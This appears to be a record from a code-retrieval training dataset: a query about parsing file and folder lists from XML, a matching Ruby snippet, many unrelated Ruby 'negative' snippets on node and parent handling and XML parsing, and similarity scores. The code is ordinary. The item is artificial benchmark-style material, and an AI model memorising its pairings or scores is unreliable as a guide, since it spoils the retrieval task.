"def inflate_node(node_data)\n node_data['chef_environment'] ||= @chef_environment if @chef_environment\n node_data['attributes'] = inflate_attrs(node_data)\n if @tags\n node_data['tags'] ||= []\n node_data['tags'] |= @tags\n end\n node_data\n end",
"def parent\n unless @parent\n @parent = search(:base => dn.parent, :scope => :base, :limit => true)\n @parent.instance_variable_get(:@children)[rdn] = self\n end\n @parent\n end",
"def set_resource_hierarchy\n @resource_hierarchy = ResourceHierarchy.find(params[:id])\n end",
"def process_child_nodes(node); end",
"def resource_singular() self.class.read_inheritable_attribute(:resource_singular) end",
"def fetch_or_build_nested_resource_for(parent, attributes)\n if (nested_resource = parent.association(name).load_target)\n return nested_resource\n end\n\n parent.association(name).build(attributes.slice('type')).tap do |resource|\n attributes['id'] = \"__#{ object_id }\"\n temporarily_extend_new_resource(resource, attributes)\n end\n end",
"def node\n attributes['node']\n end",
"def node\n attributes['node']\n end",
"def find_parent_node\n @parent_node ||= Node.find(params[:parent_node_id]) if params[:parent_node_id]\n end",
"def parent\n unless @node.send(@parent).nil?\n @node = @node.send(@parent)\n end\n end",
"def load_project_or_dataset\n self[:dataset].nil? ? load_project : load_dataset\n end",
"def node_data(node)\n node_data = {}\n children = node.children\n children.each do |child|\n if child.name == 'messages'\n node_data[:messages] = node_data(child)\n elsif child.name == 'renewStatus'\n node_data[:renew_status] = node_data(child)\n elsif child.name == 'blocks'\n node_data[:item_blocks] = node_data(child)\n elsif child.present?\n node_data[child.name] = child.text\n end\n end\n node_data\n end",
"def root\n acts_as_nested_set_options[:class].find(:first, :conditions => \"(#{acts_as_nested_set_options[:parent_column]} IS NULL OR #{acts_as_nested_set_options[:parent_column]} = 0)\")\n end",
"def parent=(node)\n if self.parent == nil\n @parent = node\n node.children << self unless node == nil || node.children.include?(self)\n else\n self.parent.children.delete(self)\n @parent = node\n node.children << self unless node == nil || node.children.include?(self)\n end\n end",
"def get_resource_tree\n {\n method: \"Page.getResourceTree\"\n }\n end",
"def initialize(data)\n @node_data = data\n end",
"def map_nodes!(&ruby_block)\n @child = ruby_block.call(@child)\n @child.parent = self unless @child.parent\n end",
"def after_initialize\n if new_record?\n build_root_node if self.root_node.nil?\n end\n end",
"def load_parent_assoc\n @parent_model = nil\n raise 'Sovrascrivi funzione \"load_parent_assoc\" nei figli la definizione di questa variabile: @parent_model'\n end",
"def the_parent(content=nil)\n if node = content || @content || Content.get(params[:id])\n node.parent\n else\n \"<strong>Error:</strong> No parent information could be found\" unless ENV['RACK_ENV'] == 'production'\n end\n end",
"def _cache_parent(node, parent, root)\n return unless parent\n cache = @cache_parent[root]\n cache[node] = parent\n self.adjacent_nodes(node).each do |n|\n cache[n] ||= node if n != parent\n end\n end",
"def parent_resource_class\n @parent_resource_class ||= parent_resource_name.classify.constantize\n end",
"def relationship_for_isolated_root\n Relationship.new(:resource => self)\n end",
"def lazy_load(resource)\n # If we're trying to load a lazy property, load it. Otherwise, lazy-load\n # any properties that should be eager-loaded but were not included\n # in the original :fields list\n property_names = lazy? ? [ name ] : model.properties(resource.repository.name).defaults.map { |property| property.name }\n resource.send(:lazy_load, property_names)\n end",
"def load\n self.parent = parent_info.object if parent_info\n if properties.new_actions.include?(action)\n# logger.debug \"Trust.load: Setting new: class: #{klass} info.params: #{info.params.inspect}\"\n self.instance ||= relation.new(info.params)\n @controller.send(:build, action) if @controller.respond_to?(:build)\n elsif properties.member_actions.include?(action)\n# logger.debug \"Trust.load: Finding parent: #{parent.inspect}, relation: #{relation.inspect}\"\n self.instance ||= relation.find(params[:id])\n @controller.send(:build, action) if @controller.respond_to?(:build)\n else # other outcome would be collection actions\n# logger.debug \"Trust.load: Parent is: #{parent.inspect}, collection or unknown action.\"\n end \n end",
"def resourceInitHook\n @cloud ||= cloud\n if @cloudparentclass.respond_to?(:resourceInitHook)\n @cloudparentclass.resourceInitHook(@cloudobj, @deploy)\n end\n end",
"def set_attributes(data_attributes)\n parent = data_attributes.delete(:parent)\n super\n self.parent = parent if parent\n end",
"def get_node_data()\n return @node_data\n end",
"def load_from_xml(node)\n # Get all information from the root's children nodes\n node.children.each do |child|\n case child.name.to_s\n when 'id'\n @id = child.content.to_i\n when 'title'\n @title = child.content\n when 'image'\n check_image_node(child)\n when 'date'\n @date = Time.parse(child.content)\n when 'streamable'\n check_streamable_node(child)\n when 'size'\n @size = child.content.to_i\n when 'description'\n @description = child.content\n when 'duration'\n @duration = child.content.to_i\n when 'creator'\n @creator = child.content\n when 'url'\n @url = child.content\n when 'text'\n # ignore, these are only blanks\n when '#text'\n # libxml-jruby version of blanks\n else\n raise NotImplementedError, \"Field '#{child.name}' not known (#{child.content})\"\n end #^ case\n end #^ do |child|\n end",
"def read_node_data(node)\n n = Chef::Node.load(node.name)\n JSON.parse(n.nil? ? '{}' : n.merged_attributes.to_json)\n end",
"def set_parent_info\n @parent_info = ParentInfo.find(params[:id])\n end",
"def load_from_xml(node)\n # Get all information from the root's children nodes\n node.children.each do |child|\n case child.name.to_s\n when 'id'\n @id = child.content.to_i\n when 'title'\n @title = child.content.to_s\n when 'artists'\n @artists = [] if @artists.nil?\n child.children.each do |artist|\n @artists << Artist.new(:name => artist.content) if artist.name == 'artist'\n @headliner = Artist.new(:name => artist.content) if artist.name == 'headliner'\n end\n @artists << @headliner unless @headliner.nil? || headliner_alrady_listed_in_artist_list?\n when 'image'\n check_image_node(child)\n when 'url'\n @url = child.content\n when 'description'\n @description = child.content\n when 'attendance'\n @attendance = child.content.to_i\n when 'reviews'\n @reviews = child.content.to_i\n when 'tag'\n @tag = child.content\n when 'startDate'\n @start_date = Time.parse(child.content)\n when 'startTime'\n @start_time = child.content\n when 'endDate'\n @end_date = Time.parse(child.content)\n when 'tickets'\n # @todo Handle tickets\n when 'venue'\n @venue = Venue.new_from_xml(child)\n when 'website'\n @website = child.content.to_s\n when 'text'\n # ignore, these are only blanks\n when '#text'\n # libxml-jruby version of blanks\n else\n raise NotImplementedError, \"Field '#{child.name}' not known (#{child.content})\"\n end #^ case\n end #^ do |child|\n @artists.uniq!\n end",
"def node\n items_node[:node]\n end",
"def root_rel\n rel = relationship.try!(:root)\n # micro-optimization: if the relationship is us, \"load\" the resource\n rel.resource = self if rel && rel.resource_id == id && rel.resource_type == self.class.base_class.name.to_s\n rel || relationship_for_isolated_root\n end",
"def import_node!(node, dataset)\n attributes = node.attributes\n attributes.delete(:demand)\n\n if demand_attribute(node) == :preset_demand\n attributes[:preset_demand] = val(node, :demand) * 1_000_000\n elsif node.demand\n attributes[:demand_expected_value] = node.demand * 1_000_000\n end\n\n # Test that max_demand is numeric, since some old tests assign the value\n # to be \"recursive\".\n if attributes[:max_demand].is_a?(Numeric)\n attributes[:max_demand] *= 1_000_000\n end\n\n dataset[Hashpipe.hash(node.key)] = attributes\n\n (node.in_slots + node.out_slots).each do |slot|\n import_slot!(slot, dataset)\n end\n end",
"def node\n @context.node\n end",
"def initialize(node)\n\t\t\t@data = {}\n\t\t\t@node = node\n\t\t\t@name = @node[:name]\n\t\t\t@updated_source = nil\n\t\t\t@source_name = @node[:source][:name] || nil rescue \"--\"\n\t\t\t@source_topic = @node[:source][:topic] || nil rescue \"--\"\n\t\t\t@source_file = @node[:source][:file] rescue nil\n\t\tend",
"def get_parent_object\n nil\n end",
"def get_nested_resource_objects\n end",
"def member(&block)\n unless resource_scope?\n raise ArgumentError, \"can't use member outside resource(s) scope\"\n end\n\n with_scope_level(:member) do\n if shallow?\n shallow_scope {\n path_scope(parent_resource.member_scope, &block)\n }\n else\n path_scope(parent_resource.member_scope, &block)\n end\n end\n end",
"def requested_node\n\n scope = current_site.nodes.with_attributes.with_variant\n\n # If we have no path, use the first root page. Otherwise, find the page by\n # the requested URI.\n if node_uri.blank?\n\n home_page = scope.sorted.roots.first\n raise ActiveRecord::RecordNotFound.new if home_page.blank?\n home_page\n\n else\n scope.find_by_uri!(node_uri)\n end\n\n end",
"def map_nodes!(&ruby_block)\n @ref = ruby_block.call(@ref)\n @ref.parent = self unless @ref.parent\n end",
"def node=(node)\n items_node[:node] = node\n end",
"def set_node\n @node = ::Node::Node.find(params[:id])\n end",
"def root_relation?; !parent end",
"def fulltree(*args)\n Relationship.resources(fulltree_rels(*args)) # TODO: Prevent preload of self which is in the list\n end",
"def load_current_resource\n @current_resource = Chef::Resource.resource_for_node(:opennms_send_event, node).new(@new_resource.name)\n @current_resource.uei(@new_resource.uei)\n @current_resource.parameters(@new_resource.parameters) unless @new_resource.parameters.nil?\nend",
"def node\n @node\n end",
"def node\n @node\n end",
"def nodes_field\n define_nodes_field\n end",
"def parent=(node)\n # this is for deleting child when we are reassigning parent\n if @parent != nil\n @parent.children.delete(self)\n end\n\n @parent = node\n if node\n node.children << self unless node.children.include?(self)\n end\n end",
"def node_template_data\n {'node' => @node, @node['classification'] => @node}\n end",
"def in_parent_hcard\n @in_parent_hcard ||= self.class.find_in_parent_hcard\n end",
"def object\n object? ? children[2] : nil\n end",
"def load_node\n events.node_load_start(node_name, config)\n Chef::Log.trace(\"Building node object for #{node_name}\")\n\n @node =\n if Chef::Config[:solo_legacy_mode]\n Chef::Node.build(node_name)\n else\n Chef::Node.find_or_create(node_name)\n end\n select_implementation(node)\n implementation.finish_load_node(node)\n node\n events.node_load_success(node)\n rescue Exception => e\n events.node_load_failed(node_name, e, config)\n raise\n end",
"def load_root_collection( &blk )\n @root_collection_loader = blk\n end",
"def root_entity\n root = self\n loop do\n break if root.parent_id.nil?\n root = root.parent\n end\n root\n end"
] |
[
"0.59543777",
"0.57979697",
"0.56457055",
"0.5446034",
"0.5429945",
"0.5427555",
"0.54229957",
"0.5411994",
"0.5407169",
"0.5400878",
"0.5377762",
"0.53429586",
"0.53286564",
"0.5279118",
"0.52669525",
"0.5259162",
"0.5249492",
"0.5244161",
"0.5236126",
"0.52248406",
"0.5214405",
"0.5214405",
"0.5199161",
"0.5190718",
"0.5186501",
"0.5163612",
"0.5099499",
"0.5099499",
"0.5089193",
"0.5085015",
"0.508411",
"0.507758",
"0.50472087",
"0.50396615",
"0.50205034",
"0.502027",
"0.5019979",
"0.50189483",
"0.5008921",
"0.5008834",
"0.5003974",
"0.50011176",
"0.50008494",
"0.49957255",
"0.49922982",
"0.4987508",
"0.49849737",
"0.49844047",
"0.49828193",
"0.49786907",
"0.49786907",
"0.4972999",
"0.4957409",
"0.49451366",
"0.4942879",
"0.493169",
"0.49277848",
"0.49275416",
"0.4926946",
"0.49098614",
"0.49079868",
"0.49059442",
"0.49050477",
"0.4891387",
"0.48822862",
"0.48770097",
"0.48751822",
"0.48694375",
"0.48649496",
"0.4864801",
"0.48615733",
"0.4859258",
"0.48513567",
"0.48483703",
"0.48455772",
"0.48448643",
"0.48446402",
"0.484403",
"0.4837318",
"0.48307142",
"0.4830639",
"0.48297375",
"0.48267102",
"0.4821634",
"0.48210648",
"0.4819512",
"0.48141465",
"0.48117378",
"0.4811593",
"0.4799931",
"0.4794277",
"0.4794277",
"0.47863534",
"0.47837037",
"0.47815526",
"0.4781497",
"0.47807375",
"0.47794914",
"0.47618383",
"0.4760058"
] |
0.57412684
|
2
|
returns [ [ file1, file2, .. fileN ] [ folder1, folder2, .. folderN ] ] parse from xml
|
def parse_list_response(xml)
[ nodes_for(xml, 'files').collect{ |node| File.new(self, node) },
nodes_for(xml, 'folders').collect{ |node| Folder.new(@rc, self, node) } ]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getAllXMLFiles() \n originalDir = Dir.pwd\n Dir.chdir @results_path\n filesArray = Array.new\n debug_msg \"#{@results_path}/**/*.xml\"\n Dir.glob(\"**/*.xml\") do |f|\n debug_msg \"XML: #{f}\"\n filesArray << \"#{@results_path}/\" + f\n end\n Dir.chdir originalDir\n return filesArray\n end",
"def folders\n xpath './folder'\n end",
"def get_flist\n pp_ok \"Started in directory #{Dir.pwd}\"\n Dir.chdir(@xml_dir)\n pp_ok \"Moved to directory #{Dir.pwd}\"\n return Dir.glob(\"*.{xml}\")\n end",
"def read_XML_file(xfile)\n result_array = []\n if File.file?(xfile)\n puts \"\\n\\nOPENING #{xfile}\"\n f = File.open(xfile)\n doc = Nokogiri::XML(f)\n if is_squish?(doc)\n result_array = squish_parser(doc)\n else\n result_array = rspec_parser(doc)\n end\n else\n puts \"\\nNot a file: #{xfile} - verify options (-x for directory, -f for a specific file)\"\n end\n return result_array \n end",
"def read_album(data)\n\n # Assigns XML file path arrays to appropriate\n # variables and if fails then assign empty array\n\talbum_names = data.xpath(\"//album/name\") rescue album_names = []\n\talbum_artist = data.xpath(\"//album/artist\") rescue album_artist = []\n album_genre = data.xpath(\"//album/genre\") rescue album_genre = []\n album_cover = data.xpath(\"//album/cover\") rescue album_cover = []\n\t\n\talbum_array = Array.new # Temp function array for returning\n\ti = 0\n while i < album_names.size\t\n # Iterates through albums in xml file\t\n\t\talbum_songs = data.xpath(\"//album[#{i+1}]/songs/song/name\")\n\t\talbum_songs_dir = data.xpath(\"//album[#{i+1}]/songs/song/location\")\n\t\tsong = 0\n song_array = Array.new\n # Iterates through all albumssongs and\n # stores an array of song classes within\n # the album classes songs attribute\n\t\twhile song < album_songs.size\n\t\t\tsong_array << Song.new(album_songs[song].text,album_songs_dir[song].text)\n\t\t\tsong += 1\n\t\tend\n\t\talbum_array << Album.new(album_names[i].text,album_artist[i].text,album_genre[i].text,song_array,album_cover[i])\n\t\ti += 1\n\tend\n\treturn album_array\nend",
"def importSongsFromNml(nml_file)\n playlist_xml = REXML::Document.new(open(nml_file))\n\n orders = []\n playlist_xml.elements.each('NML/PLAYLISTS/NODE/SUBNODES/NODE/PLAYLIST/ENTRY') do |e|\n orders.push(e.elements[\"PRIMARYKEY\"].attributes[\"KEY\"])\n end\n\n elements = []\n playlist_xml.elements.each('NML/COLLECTION/ENTRY') do |e|\n element = {}\n element[:TITLE] = e.attributes[\"TITLE\"]\n element[:ARTIST_NAME] = e.attributes[\"ARTIST\"]\n element[:ALBUM_TITLE] = e.elements[\"ALBUM\"].attributes[\"TITLE\"]\n element[:TEMPO] = e.elements[\"TEMPO\"].attributes[\"BPM\"]\n element[:MUSICAL_KEY] = e.elements[\"MUSICAL_KEY\"].attributes[\"VALUE\"]\n element[:PATH] = e.elements[\"LOCATION\"].attributes[\"VOLUME\"] +\n e.elements[\"LOCATION\"].attributes[\"DIR\"] +\n e.elements[\"LOCATION\"].attributes[\"FILE\"]\n elements.push(element)\n end\n\n result = []\n orders.each do |order_key|\n result.push(findElement(order_key, elements))\n end\n\n return result\n end",
"def build_file_sets\n return [] if file_nodes.empty?\n file_nodes.each_with_index.map do |node, index|\n file_set = create_file_set(node, files[index])\n file_set\n end\n end",
"def get_files(dir, name)\n Dir[\"#{dir}/**/#{name || \"*.xml\"}\"]\nend",
"def parse_rss_alt(year, month, feed)\n file_paths = Array.new\n xbrlFilings = filter_feed_alt(Nokogiri::XML(feed), get_ciks)\n\n xbrlFilings.each do |xbrlFiling|\n cik = xbrlFiling.children[7].text\n xbrlFiles = xbrlFiling.children[23] != nil ? xbrlFiling.children[23].children : xbrlFiling.children[21].children\n file_path = Array.new\n\n (1..(xbrlFiles.length - 1)).step(2) do |j|\n url = xbrlFiles[j].attributes[\"url\"].value\n\n file_path << url if (url =~ /.(xml|xsd)$/) != nil\n end\n file_paths << [cik, [year.to_s, month.to_s], file_path]\n end\n file_paths\nend",
"def parsePhotoRequestReponseXMl\n Dir.glob(File.join(LOCAL_DIR, FILE_EXTN)).each do |file|\n doc = Nokogiri::XML.parse(File.open(file)) { |xml| xml.noblanks }\n project = doc.root.child\n project.children.each { |shotGrp|\n if shotGrp.name == 'ShotGroup'\n puts shotGrp.name #puts node.children.first.name\n puts 'SalsifyID: ' + shotGrp['SalsifyID']\n puts 'ShotGroupStatus: ' + shotGrp['ShotGroupStatus']\n puts '------------'\n shotGrp.children.each { |image|\n puts image.name\n puts image.values\n puts '-----------'\n image.children.each { |sample|\n puts sample.name\n puts sample.values\n puts '##########'\n }\n }\n end\n }\n end\n end",
"def parse\n result = []\n files = []\n \n @paths.each { |path|\n begin\n raise FileNotFoundError unless File.exists?(path)\n \n if File.directory?(path) then\n files += Dir.glob(\"#{path}/**/*.mid\")\n else\n files << path if File.extname(path) == \".mid\"\n end\n rescue\n puts \"Not a valid file path : #{path} => #{$!}\"\n end\n }\n \n \n if files.empty? then\n puts \"No files were added.\"\n else\n files.each { |file_path|\n result << read_midi(file_path)\n }\n end\n \n return result\n end",
"def file_get_files(directories) \n directory = \"\"\n files = []\n directories.each do |directory| \n unless directory == \"/root\"\n Dir.chdir(\"#{directory}\") \n Dir.foreach(\"#{directory}\") do |d| \n files.push(d) unless d == \".\" || d == \"..\" \n end\n @file_information.store(directory, files)\n files = []\n end\n end\n return @file_information\n end",
"def get_contents uri,user,password,recursive=false\n \n found=[]\n\n content = propfind uri,user,password,1\n\n parser = LibXML::XML::Parser.string(content,:encoding => LibXML::XML::Encoding::UTF_8)\n\n document = parser.parse\n\n href_nodes = document.find(\"ns:response\",\"ns:DAV:\")\n \n href_nodes.each do |node|\n unless node == href_nodes.first \n href_node=node.find_first(\"ns:href\",\"ns:DAV:\")\n last_modified_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:getlastmodified\",\"ns:DAV:\")\n creation_date_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:creationdate\",\"ns:DAV:\")\n content_type_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:getcontenttype\",\"ns:DAV:\")\n\n attributes={ \n :containing_path=>uri.to_s,\n :full_path=>uri.merge(href_node.inner_xml).to_s,\n :updated_at=>DateTime.parse(last_modified_node.inner_xml).to_s,\n :created_at=>DateTime.parse(creation_date_node.inner_xml).to_s,\n :is_directory=>is_dir?(href_node,content_type_node)\n }\n found << attributes\n end\n end\n \n found.select{|a| a[:is_directory]}.each do |dir_tuple|\n child_uri=URI.parse(dir_tuple[:full_path])\n children=get_contents child_uri,user,password,true\n dir_tuple[:children]=children\n end if recursive\n \n return found\n \n end",
"def get_elements_from_filename(fileSpec)\n # Split fileSpec into path and filename\n var = Array.new()\n (var[1], var[2]) = File.split( fileSpec )\n # Determine file extension\n tempExt = File.extname(var[2])\n\n debug_out \"Testing file read location, #{fileSpec}... \"\n\n\n # Open file...\n fFileHANDLE = File.new(fileSpec, \"r\")\n if fFileHANDLE == nil then\n fatalerror(\"Could not read #{fileSpec}.\\n\")\n end\n\n # Global variable $XMDoc is used elsewhere for access to\n # HOT2000 model file elements access using Path.\n if ( tempExt.downcase == \".h2k\" )\n $XMLdoc = Document.new(fFileHANDLE)\n elsif ( tempExt.downcase == \".flc\" )\n $XMLFueldoc = Document.new(fFileHANDLE)\n elsif ( tempExt.downcase == \".cod\" )\n $XMLCodedoc = Document.new(fFileHANDLE)\n else\n $XMLOtherdoc = Document.new(fFileHANDLE)\n end\n fFileHANDLE.close() # Close the since content read\n\n if ( tempExt.downcase == \".h2k\" )\n return $XMLdoc.elements()\n elsif ( tempExt.downcase == \".flc\" )\n return $XMLFueldoc.elements()\n elsif ( tempExt.downcase == \".cod\" )\n return $XMLCodedoc.elements()\n else\n return $XMLOtherdoc.elements()\n end\nend",
"def xpathall(path,xml)\n r=[]\n XPath.each(xml,path){|x|r<<x}\n r\nend\n",
"def get_entries(dir, subfolder); end",
"def get_folders\n doc = Nokogiri::HTML(open(url))\n doc.xpath(\"//@href\").map do |url|\n url.value\n end\n end",
"def queryxml(xmlfile, function)\n f = File.new(xmlfile, \"r\")\n doc = Nokogiri::XML(f)\n\n binaries = []\n doc.xpath(\"//test/calls/function[text()='#{function}']\").each { |e|\n test = e.parent.parent\n binary = test.xpath('binary').first\n binaries << [File.dirname(xmlfile), binary.text]\n }\n\n f.close\n\n return binaries\nend",
"def parse_xml(file)\n\t\tdata = []\n\t\t# Break open XML and go through nodes\n\t\tbegin\n\t\t\tfile = file_sanitizer(file)\n\t\t\tdata = XmlSimple.xml_in(file, {'ForceArray' => false })\n\t\trescue Exception => e\n\t\t\traise e\n\t\tend\n\t\tdata\n\tend",
"def ls( *args )\r\n \r\n directory = nil\r\n opts = {}\r\n \r\n case args.count\r\n when 1\r\n if args[0].kind_of? Hash\r\n opts = args[0]\r\n else\r\n directory = args[0]\r\n end\r\n when 2\r\n directory = args[0]\r\n opts = args[1] \r\n end\r\n \r\n # args are the RPC arguments ...\r\n args = {}\r\n args[:path] = directory if directory\r\n args[:recursive] = true if opts[:recurse]\r\n args[:detail] = true if opts[:detail] \r\n args.delete(:detail) if( args[:detail] and args[:recursive])\r\n \r\n # RPC output format, default is XML\r\n outf = { :format => 'text' } if opts[:format] == :text\r\n \r\n got = @ndev.rpc.file_list( args, outf )\r\n return nil unless got\r\n \r\n return got.text if opts[:format] == :text\r\n return got if opts[:format] == :xml\r\n \r\n # if we're here, then we need to conver the output \r\n # to a Hash. Joy!\r\n \r\n collect_detail = args[:detail] || args[:recursive]\r\n \r\n ls_hash = {}\r\n got.xpath('directory').each do |dir|\r\n \r\n dir_name = dir.xpath('directory-name').text.strip\r\n dir_hash = {}\r\n \r\n dir_hash[:fileblocks] = dir.xpath('total-file-blocks').text.to_i\r\n files_info = dir.xpath('file-information')\r\n \r\n dir_hash[:files] = {} \r\n dir_hash[:dirs] = {} # sub-directories\r\n \r\n files_info.each do |file|\r\n f_name = file.xpath('file-name').text.strip\r\n f_h = {} \r\n \r\n if file.xpath('file-directory')[0]\r\n dir_hash[:dirs][f_name] = f_h\r\n else\r\n dir_hash[:files][f_name] = f_h \r\n end\r\n \r\n next unless collect_detail\r\n \r\n f_h[:owner] = file.xpath('file-owner').text.strip\r\n f_h[:group] = file.xpath('file-group').text.strip\r\n f_h[:links] = file.xpath('file-links').text.to_i\r\n f_h[:size] = file.xpath('file-size').text.to_i\r\n \r\n xml_when_item(file.xpath('file-symlink-target')) { |i|\r\n f_h[:symlink] = i.text.strip\r\n }\r\n \r\n fp = file.xpath('file-permissions')[0]\r\n f_h[:permissions_text] = fp.attribute('format').value\r\n f_h[:permissions] = fp.text.to_i\r\n \r\n fd = file.xpath('file-date')[0]\r\n f_h[:date] = fd.attribute('format').value\r\n f_h[:date_epoc] = fd.text.to_i\r\n \r\n end # each directory file\r\n ls_hash[ dir_name ] = dir_hash \r\n end # each directory\r\n \r\n return nil if ls_hash.empty?\r\n ls_hash\r\n end",
"def find_nodes_and_map(xml)\n self.maps.each do |map|\n doc = LibXML::XML::Parser.string(xml).parse\n nodes = doc.find(map[:base_path])\n return nodes, map if !nodes.empty?\n end\n return [], nil\n puts \"No map found in #{self.class} for xml #{xml[0..100]}...\" if $DEBUG\n end",
"def file_list tree_root=nil\n tree_root ||= self.tree_root\n file_list = []\n current_dir = tree_root\n visit_entries self.files do |type, name|\n case type\n when :directory\n current_dir = current_dir + \"/\" + name\n when :file\n file_list.push(current_dir + \"/\" + name)\n else\n throw \"BAD VISIT TYREE TYPE. #{type}\"\n end\n end\n file_list\n end",
"def extract_uris(uri, uri_content)\n # file must be a directory\n if !File.directory?(uri) then\n return Array.new()\n end\n\n # creating the new uris container\n new_uris = Array.new()\n\n # getting the children of the 'uri' folder\n Dir.foreach(uri) do |f|\n # building the new uri path\n path = \"#{uri}/#{f}\"\n\n # appending the new uris values if they aren't the '.' and '..' directories\n if f != '.' and f != '..' then\n new_uris << path\n end\n end\n\n # returning the new uris\n return new_uris\n end",
"def parse(xml)\n\n document = Nokogiri::XML(xml)\n entries = document.xpath(@xpath)\n @results.concat(entries.to_a)\n\n {:entries => entries, :nextpage => atomlink(document)}\n end",
"def xml_data(xml)\n return unless xml = Objectify::Xml.first_element(xml)\n # There is something wrong with Nokogiri xpath/css search with\n # namespaces. If you are searching a document that has namespaces,\n # it's impossible to match any elements in the root xmlns namespace.\n # Matching just on attributes works though.\n feed, entry = xml.search('//*[@term][@scheme]', xml.namespaces)\n feed_self, entry_self = xml.search('//*[@rel=\"self\"][@type=\"application/atom+xml\"]', xml.namespaces)\n feed_scheme = feed['term'] if feed\n entry_scheme = entry['term'] if entry\n feed_href = feed_self['href'] if feed_self\n entry_href = entry_self['href'] if entry_self\n [xml, feed_scheme, entry_scheme, feed_href, entry_href]\n end",
"def get_elements(xpath); end",
"def fetch_feature_docs\n docs=[]\n d = Dir[@source + \"/*.xml\"]\n #puts d.inspect\n\n d.entries.each do |file|\n docs << file\n end\n #puts docs.inspect\n docs\n end",
"def parse_project_files(project)\r\n @files = []\r\n @server.projects.each{ |p|\r\n next if project != '*' and project != p.name\r\n p.views.each { |v|\r\n parse_folder(v.rootfolder)\r\n #break\r\n }\r\n }\r\n end",
"def list_other_files\n\n list = []\n\n Dir[\"#{@directory_path}/*\"].each do |entry|\n\n raise PackageError, \"Found subdirectory '#{entry}' in package\" if File.directory?(entry)\n raise PackageError, \"Found unreadable file '#{entry}' in package\" unless File.readable?(entry)\n\n filename = File.basename entry\n next if [ '.', '..', 'manifest.xml', 'marc.xml', 'mets.xml', \"#{directory_name}.xml\" ].include? filename\n list.push filename\n end\n\n return list\n end",
"def parse_photo_request_reponse_xml\n logger.debug('PARSING FILES.')\n Dir.glob(File.join(LOCAL_DIR, FILE_EXTN)).each do |file|\n begin\n doc = Nokogiri::XML.parse(File.open(file)) { |xml| xml.noblanks }\n parse_xml(doc)\n rescue StandardError? => e\n logger.debug('Error is processing file ' + file + ' ' + e.message)\n next\n end\n end\n puts salsify_ids_map\n logger.debug('PARSING COMPLETED.')\n end",
"def iterate_over_file_paths\n parsed_file.each do |hit|\n file_path_array << hit[0]\n end\n file_path_array\n end",
"def list\n\t\t\tbegin\n\n\t\t\t\t# Prepare result, array of absolute paths for found files\n # within given directory. Also empty cache\n\t\t\t\tresult = []\n @scan_history = {}\n\n\t\t\t\t# Recursively scan current folder for files\n\t\t\t\tFind.find(@scan_path) do |current_full_path|\n\n\t\t\t\t\t# Get filename, prune if dot\n\t\t\t\t\tfilename = File.basename(current_full_path)\n Find.prune if filename[0] == ?.\n\n # Get extension\n extension = File.extname(current_full_path)\n\n\t\t\t\t\t# Check for file extension, if provided\n\t\t\t\t\tif @scan_extension && extension.eql?(@scan_extension)\n\n # Get foldername\n folder_name = File.dirname(current_full_path)\n\n # Get number of files parsed in current folder, default 0\n folder_depth = @scan_history.fetch(folder_name, nil) || 0\n Logging[self].debug \"At #{folder_name}\" if folder_depth == 0\n\n # If the desired depth hasn't been reached\n unless folder_depth == @scan_depth\n\n # Increase current depth\n folder_depth += 1\n\n # Add and log result\n Logging[self].warn \"Result: '#{current_full_path}'\"\n result << current_full_path\n\n # Update cache, proceed no further in this folder\n @scan_history[folder_name] = folder_depth\n Find.prune\n end\n\t\t\t\t\telse\n\t\t\t\t\t\n\t\t\t\t\t\t# Either move beyond this file, if we're searching\n\t\t\t\t\t\t# for specific files (filtered by extension), or add\n # the path to the result (since no filter applied)\n\t\t\t\t\t\t@scan_extension ? next : (result << current_full_path)\n\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\n end # find block\n\n # Log final result length\n Logging[self].info \"Retrieved #{result.length} results\"\n\n\t\t\t\t# Return result\n\t\t\t\tresult\n\n\t\t\t# Rescue any exceptions\n\t\t\trescue Exception => e\n\t\t\t\tLogging[self].error e\n nil\n\t\t\tend\n\t\tend",
"def get_remote_files_hierarchy(files, root = '/', hierarchy = { dirs: [], files: [] })\n files.each do |node|\n case node['node_type']\n when 'directory'\n hierarchy[:dirs] << \"#{root}#{node['name']}\"\n get_remote_files_hierarchy(node['files'], root + node['name'] + '/', hierarchy)\n when 'file'\n hierarchy[:files] << \"#{root}#{node['name']}\"\n end\n end\n\n hierarchy\nend",
"def list_other_files\n\n list = []\n\n Dir[\"#{@directory_path}/*\"].each do |entry|\n\n raise PackageError, \"Found subdirectory '#{entry}' in package\" if File.directory?(entry)\n raise PackageError, \"Found unreadable file '#{entry}' in package\" unless File.readable?(entry)\n\n filename = File.basename entry\n next if [ '.', '..', 'manifest.xml', 'marc.xml', \"#{directory_name}.xml\" ].include? filename\n list.push filename\n end\n\n return list\n end",
"def run_through_directory\n@file_array = []\n Dir.foreach('text_files') do |item|\n next if item == '.' or item == '..'\n @file_array << item\n end\nend",
"def xml_path(xml, path = [])\n path << xml.name if xml.is_a?(Nokogiri::XML::Element)\n unless xml.children.empty?\n xml_path(xml.children.first, path)\n end\n return path\nend",
"def get_items(filename)\n reading_item = false\n item = 0\n feed_items = []\n\n # pull out the items\n File.open(filename, 'r') do |feed|\n while line = feed.gets\n unless (line =~ /<item /).nil?\n reading_item = true\n feed_items[item] = line\n next\n end\n if reading_item\n feed_items[item] += line\n unless (line =~ /<\\/item>/).nil?\n reading_item = false\n item += 1\n end\n end\n end\n end\n feed_items\nend",
"def parse_files(*files); end",
"def get_files_to_upload(file_dir, dom)\n @log.info 'Figuring out which files to upload'\n\n uploaded_files = []\n\n # xpath variables\n premis_ns = { 'premis' => 'http://www.loc.gov/standards/premis' }\n mets_ns = { 'mets' => 'http://www.loc.gov/METS/' }\n checksum_xpath = 'premis:objectCharacteristics/premis:fixity/premis:messageDigest'\n original_name_xpath = 'premis:originalName'\n\n # loop over the files listed in the METS\n file_md5_list = dom.xpath('//premis:object', premis_ns)\n file_md5_list.each do |fptr|\n # file location info\n file_checksum = fptr.at_xpath(checksum_xpath, premis_ns).inner_html\n flocat_xpath = \"//mets:file[@CHECKSUM='\" + file_checksum + \"']/mets:FLocat\"\n file_location = dom.at_xpath(flocat_xpath, mets_ns)\n\n # the name of the file in the aip package and its original name\n aip_filename = file_location.attr('xlink:href')\n orig_filename = fptr.at_xpath(original_name_xpath, premis_ns).inner_html\n\n # type of file\n file_type = 